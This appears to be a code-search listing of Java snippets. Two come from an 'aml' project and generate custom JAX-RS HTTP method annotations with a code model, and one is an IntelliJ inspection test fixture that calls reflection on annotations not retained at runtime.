    annotationClazz.annotate(Retention.class).param("value", RetentionPolicy.RUNTIME);
    annotationClazz.annotate(HttpMethod.class).param("value", httpMethod);
    annotationClazz.javadoc().add("Custom JAX-RS support for HTTP " + httpMethod + ".");
    httpMethodAnnotations.put(httpMethod.toUpperCase(), annotationClazz);
    return annotationClazz;
}
项目:aml    文件:Context.java   
private JDefinedClass createCustomHttpMethodAnnotation(final String httpMethod)
    throws JClassAlreadyExistsException
{
    final JPackage pkg = codeModel._package(getSupportPackage());
    final JDefinedClass annotationClazz = pkg._annotationTypeDeclaration(httpMethod);
    annotationClazz.annotate(Target.class).param("value", ElementType.METHOD);
    annotationClazz.annotate(Retention.class).param("value", RetentionPolicy.RUNTIME);
    annotationClazz.annotate(HttpMethod.class).param("value", httpMethod);
    annotationClazz.javadoc().add("Custom JAX-RS support for HTTP " + httpMethod + ".");
    httpMethodAnnotations.put(httpMethod.toUpperCase(), annotationClazz);
    return annotationClazz;
}
项目:intellij-ce-playground    文件:ReflectionForUnavailableAnnotationInspection.java   
public void foo() throws NoSuchMethodException {
    getClass().getAnnotation(Retention.class);
    getClass().getAnnotation(UnretainedAnnotation.class);
    getClass().getAnnotation(SourceAnnotation.class);
    getClass().isAnnotationPresent(Retention.class);
    getClass().isAnnotationPresent(UnretainedAnnotation.class);
    getClass().isAnnotationPresent(SourceAnnotation.class);
    getClass().getMethod("foo").getAnnotation(SourceAnnotation.class);
}